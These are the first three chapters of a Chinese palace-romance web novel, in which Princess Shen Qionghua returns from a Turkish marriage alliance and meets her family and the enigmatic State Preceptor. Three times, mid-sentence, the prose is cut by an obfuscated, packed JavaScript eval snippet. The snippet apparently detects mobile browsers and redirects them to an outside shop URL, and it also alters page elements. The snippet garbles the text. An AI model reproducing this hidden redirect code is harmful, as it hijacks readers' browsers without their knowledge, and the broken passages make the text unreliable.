《琼华如故》 1. 归朝 宣和六年,二月初六,中和节后。 长安的天气逐渐转暖,积雪未化,乍暖还寒,坊间百姓还未彻底脱下棉衣。 这一日,天还未亮,天还乌蒙蒙的,晓市内专供脚夫驿夫歇脚的食摊和粥饼铺早早便开了。 一伙人赶着毛驴驮着货物进城,途中路过一家铺,便停下来歇脚。 七八个大汉停坐在简陋的板凳上休息,店小二拿了盏油灯出来给他们照照亮,并将手上的喷香的炒肺和灌饼奉上。 大汉们赶了一夜的路,清晨寒气依然逼人,他们却浑不在意地脱下外面的袄子,赤着胳膊拿起饼就往嘴里塞,寒风吹在出了薄汗的身体上,冰凉凉的。 “哟,几位爷,用不着这么急,咱小店的灌饼可烫着呢。”店小二年纪轻,此刻脸上扬着憨厚的笑,一边说着一边操持着手里的活计。 “那能不着急啊,西市那边的小孙大夫催这批货可是催得紧,到时候多挣几个铜板才能再来你家吃着灌饼啊。” 店小二一听,忽地竖起耳朵,试探着出声:“小孙大夫,莫不是那千金阁的小孙大夫?” “可不是。”那脚夫扬了扬眉,极为自豪地瞥了他一眼,那店小二见状脸色登时就变了,眼神扫过几个人,欣喜着开口: “既然是为小孙大夫办事,那今儿各位爷的吃食,我们掌柜免单。” “嚯,掌柜这么大方?”那脚夫吃了一惊,这些吃食虽然算不上贵,但只要一提这个名字就能有免费吃食,足见那位掌柜的大气。 “可不是,我们掌柜的媳妇当初可是被小孙大夫所救,要是没那小孙大夫——” “你这毛小子!” 店小二话音未落,便被从门内走出的掌柜往屁股上踹了一脚,蓄着乌色胡须的掌柜已年近四十,但身子骨依然精神得很,教训起人来也是中气十足。 他对着店小二厉声道:“快些把那彩旗挂起来,要是耽误了时辰当心我扣你工钱。” “是是是。”小二陪着笑,畏畏缩缩地拿着手上的彩旗悬挂起来,这时候,脚夫反而不解地问:“掌柜的,这又不是逢年过节的,为甚要挂这彩旗?” 掌柜先是戒备地打量了一眼这些人,看着他们像外地人,倒也没动怒,而是如实相告说: “几位不是长安人吧,怪不得不知道,那承徽公主的厌翟车就要到了,别说是我这家小店,就你看到的,这一条街那家店不挂彩旗?” “我是不知为甚一定要挂这彩旗。”小二踩着梯子,勉强在高处稳住身形,随口抱怨:“那公主回来必是要走那明德门,去那朱雀大街,哪里会路过我们这么个小食肆。” “你再说!”掌柜喝道,那小二又变成个鹌鹑不敢说了。 “当年要不是承徽公主出嫁,去那突厥蛮地,你这毛猴能长这么大个?让你那边疆提刀砍蛮子,你都只能提把菜刀,不被那些人当豚猪宰了就不错了,现在还在这抱怨。” 掌柜越说越气,小二眼见自己确实不占理,便也闭口不说了。 脚夫们在一边听了这话,忽然也有人想起了点什么,说:“这么一说我也想起来,十年前官兵来城里贴告示,要壮丁充军,我家三个兄弟差点要没了爹,后来又不充军了,村里都说是因着公主和亲,这场仗才没打起来。” 有人闻言露出了笑,用肩肘碰了碰他,说:“这不挺好,不然你家也要遭殃,能在家蹲着,谁想去打仗啊。” “话也不能这么说,咱都不愿意去那鬼地方,更别提一个姑娘了,要是我妹子被那蛮子抢去,我也得和他拼命。” “谁说不是啊。” 脚夫们吃饱喝足,继续赶着车走了。 天色渐渐亮起,时间一晃而过,转眼便到了午后,朱雀大街的两侧早已挤满了前来观看热闹的百姓。 明德城门大开,号角三声,远处的官道上逐渐出现了两匹白马的身影,马上的两位官兵拿着的旗帜渐渐清晰——赤底金纹,是公主的仪仗。 人群霎时间炸了锅,像煮沸的热水般膨起来,有人踮脚张望,高声叫喊起来:“来了、来了!公主的车驾来了!” 马车缓缓入城,街道两边的禁军士兵甲胄鲜明,如一座不可撼动的山般站在原地,开辟出一条绝无遮挡的路。 承徽公主的马车通体呈赤色,车顶以铜为凤,衔着璀璨明珠,车辕上系着的四角铜铃叮铃作响,却被道路两边的欢呼声压了下去。 车内的帘子被一双白玉般的小手掀开,一双浑圆明亮的大眼睛好奇地向外张望,看着沿途欢呼的百姓很是不解。 沈盼回过头,大约五六岁的光景,生得粉雕玉琢,白净的小圆脸上泛着桃花似的红晕,最惹眼的是那双眼,乌溜溜的,像两颗名贵的墨玉,灵动地像是一只小雀。 一头油亮的乌发梳成个小小的双丫髻,发丝间没有簪珠玉,而是簪着朴素的白花,身上也没有锦缎绣衣,而是用细麻制成的衣装。 她张了张小嘴,声音脆生生地,尾音往上翘:“娘亲,这些阿巴*怎么都这么开心呀,他们是在欢迎我们吗?” 女孩唤着的女人正是她的母亲,大周和亲十年归来的承徽公主——沈琼华。 女人年纪不过二十过七,这一张脸看得人移不开眼。 面若银盘,眉峰斜挑,山根高挺如削,唇珠丰润,瞳仁是幽深的墨色,只是和当年明亮如火星的眼眸不同,她现在的眼眸更像是被烈火燃成的墨炭,藏着一团灼意,即使不施粉黛也难以挡住她身上那种明艳的气质。 和自己身着丧服的女儿不同,沈琼华不能在这样的日子头戴白花身着素衣,但她也并未佩戴贵重首饰。 只是梳成了一个惊鹄髻,两股乌发绾成飞鸟展翅状,分侧簪着象牙牡丹钗,一袭月白齐胸曳地群,烟紫色的银丝披帛系在手臂边,整套装扮低调内奢,既不至于太过张扬,也不会让人觉得寒酸。 听到女儿的话,沈琼华绷起的神经也得到了片刻松缓,手指轻轻摸着沈盼的发髻,语气是难得的轻柔:“是啊,他们都在欢迎盼儿,你高兴吗?” 沈盼咧开嘴角,眼中迸出浓烈的笑意:“高兴!但是这里和家里好不一样,这里地上没有草,家里也没有这种样子的夯墙*。” “但是这里有你的阿帕*和塔盖*,他们都很期待见到你,给盼儿准备了很多礼物。” 听到这个,沈盼脸上的笑意更深了,在车厢内就要跳起来,差点绊倒。 “小心。”坐在车厢右侧的侍女眉眼清秀,当沈盼在玩时眼神总是死死盯在她身上,沈盼矮小的身材一倾斜,她便眼疾手快地接住。 “流玉,我没事。”沈盼被流玉抱在怀里,非常不开心地撅起嘴。 流玉则是一眼就识破了沈盼的目的,无奈地勾起唇角:“我的小主人,请您乖乖的,您娘亲现在可没精力应付您,您还是和奴婢好好坐着吧。” “娘亲才不会不陪我玩,对吧娘亲——” 沈琼华并未回应女儿的问题,她的视线定格在了纱帐外的景色,外面天光大亮,耀眼的阳光倾洒下朱楼,彩色的旗帜飞扬,在湛蓝的天空下绽放出灿烂的色彩,一如当年…… 好像十年前,她离开长安时,也是有这样的旗帜相送。 只是当年她心情凝重,满脑子想着的都是即将要面对的和大周完全不同的风俗和子民,别说是什么彩旗了,连离开宫殿前没能带上的属于阿娘的璎珞也不记得了。 那时候的她,只带着阿耶*的指望,和一腔为国献身的勇气,以及无穷无尽的恐惧离开国土,如今回来,这三样早就都消失得一干二净了。 沈琼华坐在奢华的香车内,一路的车马劳顿让她兴致不高,但疲惫感涌上来的同时,也带来了返回故土的惆怅,和一丝丝兴奋。 她美眸微抬,本想收回视线,下一秒,一抹雪白的袍角却从那高楼栏杆处一闪而过,快得像是她生出的错觉。 流玉也注意到了她的情绪变化,好奇地投来视线:“殿下,怎么了吗?” 她顺着沈琼华的目光看去,车驾缓缓前行,刚巧错过了那处楼阁。 沈琼华微微晃了神,待车驾驶出好远才收回视线,摇了摇头:“不,并无什么大事,应当是我的错觉。” 流玉没有多想,反而扬起一抹笑,宽慰道:“公主不必担心,太后娘娘和陛下都在宫门等您,很快便能见到了。” 太后娘娘……陛下…… 这个称呼对沈琼华而言十分陌生,明明自己离开前叫的都是“母亲”和“四郎”,现在竟然也要用这样如此生分的称呼。 她收了心神,静静地等待着。 车驾的速度并不快,一来是城内行车自然不能疾行,二来也是因着沿途百姓夹道相迎,身为回朝的公主,她自然是应该让他们见见。 就这样,两刻钟后,车驾终于驶进了皇宫正门朱雀门,待到了承天门,她便需要下车步行。 沈琼华带着沈盼下了车,她抬眼,皇宫的红墙绿瓦,一草一木,都是她记忆中熟悉的模样。 这样想着,心中的忧虑减去了不少,感到一丝怀念。 两名宫女手捧香炉,端正地为她领路,沈琼华牵着女儿的手,一步一行,一颦一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585216|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,皆不失一国公主该有的气度。 两边城墙高耸,道路的尽头正是通往太庙,身为和亲公主,就算她回朝,也需要向列祖列宗告慰,以示自己并未辜负皇室公主的身份。 但现在…… 沈琼华走近,太庙门前的阶梯下,她远远地便瞧见了两个熟悉的身影。 一男一女,皆是锦绣华服,气度万千,年龄却并不相近。 在跪祖宗之前,沈琼华还有更需要跪的人。 随着一步步靠近,头戴华冠,雍容华贵的女人以帕拭泪,脸上的眼妆怎么都挡不住岁月带来的憔悴,更别提眼前的人是她数年朝思暮想的孩子。 太后站在那,看着沈琼华缓缓靠近,眼中的泪水如泄洪的堤坝,大颗大颗地落下,什么尊贵体面,在这时又哪里抵得过一副拳拳爱子柔肠。 眉眼温柔的女人不顾身边宫女的搀扶,一把甩开她的手,朝着沈琼华快步迈去:“女儿——” “女儿沈琼华请罪。” 手指还未触上女人的臂膀,沈琼华便朝着太后直直跪了下来。 太后见状难掩眼中的惊讶,慌忙便伸手想去搀扶:“华儿,你这是何苦……” “不,还愿母亲一听儿臣的请罪书。” 沈琼华将头深深埋在地上,她身边的沈盼见状也不解其意,被流玉抱着站在一边。 “儿臣有三罪,一罪是辜负了先帝对儿臣的厚望,驸马意外身故,儿臣不仅未能事前制止,反而使突厥与大周再生波澜,边关情急,儿臣无用,愿向母后和陛下请罪。” 太后听着前半句还不知所措,听到后面的话时更是一下变了脸色,一句“这怎么能算你的过失”差一点便脱口而出,但现在皇帝可还在场。 她瞥向身边的男人,年轻的皇帝眉眼俊逸,气质温和,像一束柔和的日光,悬在这皇宫之上。 沈怀瑾静静注视着沈琼华,满眼皆是痛心,却也只能听着她接着说下去。 “二罪,是儿臣辜负了身为皇室子弟的职责,儿臣去了那突厥,本应安命于天,为大周和突厥生下代表两国和平的子嗣,只是十年夫妻,唯有一女,还愿陛下降罪。” 沈怀瑾缓缓开口,男人的声音清冽得像刚融化的细雪,褪去年少时的玩世不恭,已有了仁君之风: “承徽公主既是我大周的公主,你所生的孩子自然也是我大周高贵的孩子,何来降罪一说。” 这便算是解决了第二罪,而这最后一罪…… 沈琼华深吸了一口气,语调不带一丝犹豫地说: “以上两罪,皆是公主之罪,而这最后一罪,是沈氏琼华之罪,孩儿身为人子、为人母、为人长姐,上不能在父母卧病之时侍奉在侧,中不能教养子女、下不能照顾弟妹,是以,向母亲请罪——” “愿今后千秋万岁,与父母弟妹,再不分离。” 话音落下,最后一个字消散在风中。 这三罪,道尽了沈琼华这十年来无数的悔恨,道尽了她回乡一月以来所有的惆怅,更道尽了她后半生所有的期许。 半晌过去,太后蓄在眼中的泪水再也无法克制,她被迫和自己的女儿分离十年,一回来听着这字字泣血的请罪书,你让她如何能不泪眼婆娑,如何能不肝肠寸断。 林婉瑜的情绪波动大到几乎无法站立,呜咽着一个字都说不出来,想去搀扶女儿的手也在不停颤抖。 终于,沈怀瑾在此时开口了,声音掷地有声,传入在场每一个人耳中: “传吾旨意,承徽公主沈琼华,十年前以身报国,以公主之身远嫁突厥,历经数载终于还朝,特敕封你为定国长公主,赐食封六千户,其女沈盼,封瑶光郡主,享公主俸禄。” 话音刚落,站在沈怀瑾身边的太监便连忙去传令,将沈琼华从地上扶起来。 沈琼华正欲谢恩,便被沈怀瑾轻声拒绝,他唤道:“大娘” 她心间一颤,抬起眼,望进一双满是关怀和怀念的眼眸中。 “欢迎回家。” 他缓缓扶起沈琼华的手,一如当年那般。 太后终于平复了些心情,上前紧紧将沈琼华的另一只手握进掌心,双手不住摩挲着那手上的薄茧,心情更为复杂,口中不断念着:“好孩子、好孩子……” 眼神更是一刻也不想移开。 “走,母亲带你去祭拜太庙,咱们回宫,以后再也不走了。” “嗯。”沈琼华轻声应了,点点头。 就这样,全大周最尊贵的两个人亲自带着定国长公主前往太庙祭拜的行径,不出一刻便传遍了整个皇宫。 2. 故居 祭拜结束后,沈怀瑾身为一国之君,不得不先回紫宸殿先行处理政务,临行前,他对着宫人千叮万嘱,说晚些时候要陪着太后还有长公主一同用晚膳。 而太后更是一刻也等不及,就想要拉着沈琼华去她宫内叙旧,好在她的贴身嬷嬷碧云劝住了她,才答应让她先回宫修整,晚膳时再聚。 沈琼华带着女儿和流玉回到自己年少时的宫殿——长乐宫。 望着阳光下金雕玉刻的牌匾,沈琼华的内心一时思绪万千。 款步走进宫内,入目即是她年少时最爱的千里荷花图,徐徐展开在紫檀宝座之后。 殿顶井口天花,每一方格内都用着真金粉绘作祥云的图案,正中藻井为九凤衔珠,浑身贴满金饰。 唯有皇后可用的凤凰不过是年少时她拥有的众多赏赐中的一项,这宫内由真金丝串红玉而成的珠帘、殿顶九盏金丝珐琅宫灯。 大到十二扇沉香木双面绣屏风,小到金丝楠木书案上的汝窑青瓷笔洗。 哪一样不是远超公主应有的待遇,只是当年不觉有什么,后来才知凡事都有代价。 沈琼华的目光一一扫过殿内陈设,手指抚上紫檀宝座上雕作的凤首,一种难以言喻的心情将她笼罩,仿佛一切都如这装饰一般从未改变,她还是那个明媚张扬的公主。 “娘亲!” 稚嫩的童声将沈琼华从幻觉中唤醒,她眨了眨眼,意识到自己已经不是什么承徽公主,而是定国长公主。 她回头,蹲下身朝着沈盼张开双臂,满眼都是对女儿的爱意:“怎么了盼儿?” 沈盼从流玉的怀里挣脱,蹦蹦跳跳地一头扎进沈琼华的怀抱中,双臂抱着她的脖颈咯咯笑起来:“这地方好漂亮,这是我们以后的家吗?” “当然啦~”沈琼华抱着女儿原地转了一圈,逗得她大笑起来。 “这里以后也是盼儿的家了,盼儿要不要想想从哪里玩起好呢?” “嗯……让盼儿想想。” 沈盼西瓜大小的脑袋,一时要决定从哪里玩起可是个难题,沈琼华见状唤来了殿内的宫女,温声对沈盼说: “乖,你先和这几个宫女姐姐玩,娘亲还有事要处理。” 沈盼见沈琼华神色认真,登时便板起小脸,故作老成的保证道:“好,盼儿一定听话,一定不打扰娘亲做事。” “盼儿真乖。” 沈琼华爱怜地亲了亲女儿的额头,目送着宫女们将她带去外面的院子玩。 待人都走后,殿中只剩下了沈琼华和流玉两人,她们静静等了一会,不出一刻钟,一个人缓缓走进殿内。 这个人看起来像是从草丛里长出来的,皮肤是日头晒狠了的蜜褐色,脸颊上两边是褪不去的红,那是常年待在高原和风沙中的记号,一双黑眼睛像一汪被冻住的泉眼,看人时总是带着一种耿直。 她头发乌黑,身板却很结实,套着一件褐色的羊绒外套,做工精细,袖口和衣领磨损得却很严重,腰间配着一把银鞘弯刀。 巴亚尔是被沈琼华从突厥的羊圈里捡回来的孤女,年纪不过十七,正是青春正盛的好年岁,手掌和指节却覆着与她这个年纪不符的厚茧与粗大。 两人注视着她走进殿内,对着沈琼华点了点头,声音沙哑低沉:“公主,她来了。” “让她进来吧。” 她离开,另一个宫女装束的女人焦急地跑了进来,目光锁定沈琼华就奔着跪到了她脚下。 “奴婢浮岚,见过公主。” 流玉脸色微变,下意识去扶起浮岚,沈琼华更是上前,亲自和流玉一起将她搀起:“你我多年未见,何必行此大礼?” “不。”浮岚的眼中不断有泪水涌出,看不到尽头,哽咽着说:“当年若非是为了留一人照顾嬷嬷,奴婢便也一定会陪您去那荒蛮之地,未能在公主殿下身边尽忠,是奴婢的过失。” “若非、若非有这等事,奴婢还以为此生无缘再与公主相见了。” 她说着,泪水愈发多起来,沈琼华见状伸手抚上她的面颊,眼中满是关切: “那些往事何必再提,李嬷嬷年纪大了,你们两个和她都是自小伴着我的,若我们都走了,换个人照顾她我也是不放心的。” “但好在,现在你们两姐妹团聚了,咱们又在一块了,你又何苦落泪呢?” 沈琼华的声音不大,却自带一种抚慰人心的效力,浮岚闻言讶异地看了沈琼华一眼,惊觉这十年的时光真的是将公主变成了另外一番样子,当年的公主如今也是更加具备上位者恩威并施的手段了。 她用袖子擦去眼角的泪水,连忙答应:“公主说的是,这事合该高兴,您这次一回宫,太后娘娘便又将奴婢调派回来侍奉您,定不让您再受一丝一毫的苦楚。” “比起这个,我还有更重要的事想问你。”沈琼华轻轻执起浮岚的手,眼底透出一抹探究的意味:“我听说,三年前,嬷嬷去了,是吗?她走得可还好?” 提起这事,浮岚的眼底升起一抹难以掩饰的哀伤,启唇道: “是……嬷嬷的身体本就不行了,自公主去那蛮地后,更是一病不起,早几年便只能靠着汤药吊命,心中总是挂念着公主,若非是……” 她垂下眼帘,不敢直视沈琼华的双眼,犹豫着说道:“若非是……国师,一直将自己的丹药赠与嬷嬷养身,怕是连这几年都没有。” 说起“国师”二字,流玉与浮岚皆是神色一变,下意识地去看沈琼华的反应,毕竟当年…… “国师、现在已经是那人了吧。” 沈琼华张了张唇,眼底藏着一抹不易察觉的动摇。 “是的,老国师八年前就去云游四海了,临走前将自己最小的弟子长珏提上来,继任新国师之位。” 那老国师道玄真人都一百二十多岁了,既然还有这兴致云游四方,他座下弟子无数,可长珏当上国师,沈琼华却是一点都不意外。 “由他来当国师也应当,毕竟当年一众弟子中,也就他一人得到了道玄真人的亲传,他那一身本领,据闻比他师傅年轻时还要出色。” 这明明是夸赞的话,可流玉与浮岚听着,紧绷的神经没有一瞬是松开的,这也难免,当年闹成那般,更别提公主自小就是个倔强的性子。 “那、那嬷嬷可有留下什么话吗?”流玉颤着声音,极生硬地拉开话题,可也成功引起了沈琼华的注意。 她抬眼,希冀地望向浮岚,见她从自己衣袖里掏出一封书信。 “啊、有,嬷嬷故去前,曾央奴婢拿来笔墨纸砚,留下书信一封,盼若是公主终有一日能拿到,她便也安心了。” 沈琼华静静注视着那泛黄的书信,良久后才伸出手,指尖触上干燥的纸张,恍然间,宛若跨越时间,与一抹熟悉的体温相聚。 「嬷嬷,来日我出嫁,也定是要带着你一起走的,你可要长命百岁啊——」 后来,沈琼华的婚妆的确也是李嬷嬷亲手上的,只是眼睛哭得像个桃,被浮岚拉走时还依依不舍地对着车队远去的方向垂泪。 “还有这个。”浮岚摸出一个小木盒,打开一看,里面装着一枚小药丸,通体雪白,闻起来药香满怀,很是不凡。 “这是国师给的,嬷嬷没吃……她那时已是难以挽回了。” 沈琼华盯着那丹药眼神微沉,说:“既是嬷嬷留下的,那便是你的,想留想卖都由你。” “可这……”浮岚还想说点什么,旋即便被身边的流玉打断了: “殿下说给你,就是给你了,你少钻牛角尖,走走走,我们给殿下打热水净手去。” 说着,她拉着浮岚离开了内殿,独留沈琼华一人在殿中,细细阅读那封信。 李嬷嬷是她母后的乳娘,当年随着端惠皇后一同入宫,看着沈琼华出生,也在端惠皇后驾崩后始终留在她身边,自小看着她长大,那真是含在嘴里怕化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585217|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,放在掌心怕摔了。 当年和亲的事来得实在太急、太快,不容一丝喘息的机会。 沈琼华答应和亲的当晚李嬷嬷便气急攻心以致一病不起,可惜沈琼华最终还是坐上了离开长安的马车,而她的病也就再也没有好全过。 想起这件事,沈琼华至今都心存亏欠,十年过去,有的人还能相见,但有的人却再也见不到了。 打开信纸,上面没有过多寒暄,写信的人絮絮叨叨地写了一大堆,都无外乎是一些嘱咐她多添衣,多进食,少生病之类的话,到了最后,李嬷嬷落下一笔: 「殿下,莫要为老奴悲伤,老奴要去见您阿娘了。」 「只是可惜,老奴无缘得见小主子,希望殿下和小主子无病无灾,安乐一生。」 最后一个字的墨迹被泪水晕开,沈琼华抬手,拭去眼角的泪水,抬眼看向殿外,张了张口:“流玉,浮岚,你们进来。” 话音落下,两人走进殿内,听沈琼华落下命令:“替我梳妆吧,再把巴亚尔带进来。” “是。” 两人款身听命,默契地分工明确,一人去准备洗漱用的玫瑰水,一人去为沈琼华卸下钗环,动作娴熟地仿佛早已做过千百次。 不出半个时辰,沈琼华便已经梳妆完毕,头戴白花,身着朴素,轻施粉黛,巴亚尔带着沈盼,也已经准备完毕,乖乖地坐在一边等。 纯金的水盆中洒满了玫瑰花瓣,一种馥郁的香气弥漫在四周,沈琼华缓缓将手置于水中,目光却穿过半掩的窗户,望向了站在院内洒扫的宫女太监们,没有几个她认识的。 “这些人都是谁挑选来的?” 浮岚正在为她重新绾发,闻言向外瞥了一眼,回道:“禀殿下,那些都是太后身边的嬷嬷亲自选来的,咱们宫以前的宫女嫁人的嫁人、出宫的出宫,早就都不在了。” 说完,她又补充道:“不过殿下放心,这些人都是由碧云嬷嬷一个一个筛过的,祖上三代准保干净。” “若是太后身边的嬷嬷,那我自是放心的,不过随口一问罢了。” 沈琼华起身,雪白的襦裙顺着她的动作缓缓展开,宛如一抹无垢的月华,加之她并未佩戴什么首饰,便显出几分寡淡,可既然是赴家宴,便也用不着太在意。 浮岚不甘地瞥了一眼那些装得满满当当的妆奁,再看看这比宫女还朴素的打扮,有些不解:“殿下这是在为驸马服丧?” 流玉端走水盆,闻言瞥了一眼浮岚。 沈琼华的丈夫、驸马——阿史那·阙特勤*六月前死于毒杀,这件事长安几乎人人皆知,若非如此沈琼华怎么可能回得了故乡呢。 按常人推测,承徽公主嫁到那荒凉野蛮的地方,当然是苦不堪言,要是死了驸马不开宴会庆祝都算好的了,怎么会心甘情愿给他服丧呢。 不过也有些人可能会想,公主可能只是念在一场夫妻情谊,怎么两个人都有了个孩子,感情应该没有差到那里去。 面对这个问题,沈琼华没有回答,就这么点耽搁的功夫,屋外的太阳已经西斜,黄金般的光芒洒在皇宫的砖瓦上,宛若琉璃般深邃。 沈琼华坐上宫女们提前安排好的轿辇,素净的裙摆在金丝凤帐下漏出一角,缓缓行在道上。 谁知才走出去没几步,远处便有个小太监急忙赶来,光看他身上的服制,就算是沈琼华也能看出他是在御前担差的人,浮岚走上前,听小太监上来禀告道: “奴才见过定国长公主,陛下吩咐将家宴改在御花园的秋水亭内举行,只因公事未完,还请长公主先行移驾御花园,陪同太后娘娘。” 如玉一般的手指修长,缓缓掀起帐子,低眸看了眼跪在地上的小太监,出声道:“陛下现在在和何人议事,可有空见我?” “回长公主,陛下正与国师对弈,现下许是……许是无暇召见殿下。” 沈琼华的眼眸微微一沉,收手放下珠帐。 3. 国师 紫宸殿内。 整片地板皆由白玉砌成,十二根金丝楠木上缠着玛瑙串作的珠子,将珠子两侧的金丝明珠薄纱帐束起。 宫殿的正中心放着一个足有人小腿高的青铜麒麟香炉,袅袅香烟自麒麟的兽嘴中飘出,香炉下垫着厚厚的一块熊绒,空气中是淡淡的龙涎香和一丝若有似无得白梅香。 宫殿内所有的侍从此刻都被赶到了殿外,一方紫檀棋盘前,有两道身影相对而坐。 沈怀瑾身着圆领黄缎锦袍,头上戴着一顶乌纱翼善冠,俊逸的面容不苟言笑,认真地在棋盘上落下一枚黑子。 旋即他抬起眼,抬手向对面的人示意:“国师认为,吾这一步棋如何?” 他对面人闻言,好半晌才有动作。 男人纤长如玉的手指搭在棋盒内,覆着薄茧的指节摩挲着白子,比这玉石般的云子更加干净。 长珏的脸庞面容冷峻,鼻梁挺直秀气却没有一丝世俗之气,薄唇轻抿,一袭简单的道袍不染纤尘,简直不像是真人,像是某副水墨画里裁剪下来的,只因他的眼眸。 他抬眸,羽睫微动,眼眸如墨般静、沉,不含一丝情绪,淡淡地扫过整个棋盘。 棋盘上黑白棋子分布,各有笔法,只是比起攻势凌厉的黑子,白子在游刃有余地情况下依旧架住了黑子的攻势,正缓缓将黑子引入死地。 男人抬手:“咚。” 一子落定,声如清泉击石。 “至此,便结束了。” 沈怀瑾眼眸一滞,细看之下,才发现黑棋虽还未被彻底摁死,但要想绝地反击怕也是难上加难,他无奈地扯开唇角,说:“还是国师技高一筹啊,又输了一盘。” “承让。” 长珏拱手作揖。 “罢了。”沈怀瑾伸手自己收棋,语气随意地提起:“不过,现在召回镇国公之子,当真是现下的良策吗。” “陛下心中自有定数,边疆已定,突厥新任首领刚刚坐稳那个位子,眼下急需安抚人心。” “而此时,倘若我们依然重兵把守边关,必定会引来突厥的戒备,倘若摩擦加剧,怕是这十年以来的和平将会付诸东流。” 长珏的声音不沉,更像是一条缓缓流经空谷的小溪,不疾不徐地说出这些两人都心照不宣的道理。 沈怀瑾微微叹了口气,苦笑着说:“吾倒是也想啊,怕却只怕那镇国公爷孙不答应。” “吾虽说是皇帝,可镇国公乃是三朝元老,他执掌虎符的年岁可比吾当这个皇帝的时间都久,还有他那孙子……固安兄,可不是个容易糊弄的主。” 长珏神色不变,淡定地将棋子拢入掌心:“陛下明鉴。” 沈怀瑾虽说坐上皇位才短短四年,但看他现在的智谋,和当初那个连单独面对突厥使臣都不敢的四皇子相比,确实改变了太多太多。 “十年啊。”沈怀瑾的手指叩在棋盘上,叹道:“战乱不能再起,大周不能再打三年大仗。” “可想要和平,也没有那么简单啊。” 他这话不是在提问,倒像是无意识发出的牢骚,长珏不搭话,只将掌心的棋子重新倒入棋盒,并盖上。 沈怀瑾意味深长地盯了他几秒,才道:“长姐的驸马——” 长珏起身的动作一顿,在半空中定了一秒后又重新坐回紫檀椅中。 “那个突厥的王子,吾听闻他的死状,与文慧太子的死状极为相似,关于这件事,国师有何高见?” 在沈怀瑾的注视下,长珏面色未改,甚至连眼皮都没抬,冷漠道:“公主的事,和贫道能有什么关系?” 他眼神漠然,里面含着深深的冷漠,好似这件事就是一场没头没尾的闹剧,和他扯不上任何关系。 换作旁人敢这么和沈怀瑾说话,沈怀瑾可能还要思虑一下这人是不是在蔑视他这个皇帝。 但面前这人可是长珏啊,是没有姓氏、生时无来路,死后无去处的“无名氏”。 生死在他眼中可能真的没有那么重要,很难想象他真的执着过什么事,或许也就只有这样的“无根之人”,才是修道的好苗子吧。 沈怀瑾短促地笑了一声,摇摇头,说:“不,没什么,你退下吧。” 长珏起身,宽大的衣袍拖曳在地面上,随着他的动作而舒展:“既如此,贫道告退。” 沈怀瑾看着他离去的背影,恰好有一个小太监此时走了进来,躬身禀告说:“陛下,定国长公主求见。” 几乎是话音刚落,殿门便被人从外拉开,一抹月白的身影出现在了门槛前。 当那抹身影闯入视野,长珏几乎是下意识的脚步一顿,眼睫微颤着,即使心中已然有了选择,但还是下意识地将眼神投向了沈琼华,又在即将目光相触前条件反射般地弹开。 沈琼华垂眼,提着自己的裙摆埋过裙摆,头上雪白的珠花簪进乌发,白得刺眼。 她目不斜视地略过了长珏,好似面前没这个人,直直地往里走。 两人的衣角相错,长珏向一边退开一步,让出了路,待他们擦肩而过时,下意识地攥紧了藏在袖袍中的手。 那股熟悉的气味不只是单纯的花香,而是一种极为罕见的香料气味,这种气味长珏极为熟悉,毕竟当年他几乎日日与这气味相伴。 馥郁的香气伴着冷梅香,互相缠绕下一秒却又快速分开,一直待沈琼华彻底背对着他时,长珏才再抬起眼,凝视着她的背影,旋即消失在屏风后。 “妾沈琼华,见过陛下。” 那声音传入长珏的耳中,唤回了他些许神智,在太监的注视下,他抬脚离开了紫宸殿。 沈怀瑾亲自扶起面前的长姐,脸上绽开了一抹阳光的笑:“大娘,你我之间何必拘礼,现在没有外人,你依然如从前般待我便是。” “呵。”沈琼华轻笑一声,抬眼看向他:“这妾可不敢,当年那个糊涂的四郎可是已经登上大宝,万一一个不小心得罪了,恐怕就不只是像以前那般偷妾的酒喝了。” “咳咳咳、咳咳。” 聊起以前的糗事,这位方才还在和人指点江山的皇帝显露出了难得的局促,耳尖微红地故作老成道:“往事不必再提,大娘,坐。” 沈怀瑾没挪窝,沈琼华便也就这这个位置坐在了他对面,她打量着面前的棋盘,问:“陛下方才是在与国师手谈?” “嗯。” 沈怀瑾不置可否,闻言叹了口气:“是啊,还是一如既往地下不赢他,大娘可有兴致与我手谈一局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585218|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “乐意奉陪,但恐怕也只可一盘,妾让盼儿先行到御花园陪伴母亲,切不可让他们就等了。” “这个自然。” 两人打开棋盒,依然是沈怀瑾下黑子,沈琼华下白子,棋子交错落下的轻响间,他们谈起话: “我听闻,驸马意外身故,大娘在为他守丧。” 沈琼华不搭话,这件事何必听闻,只要现在抬抬眼,便能看出来她是否在守丧了。 “驸马待大娘,看来不错?” 这才是沈怀瑾正在想问的,话音刚落,他便抬眼去打量沈琼华的神色变化。 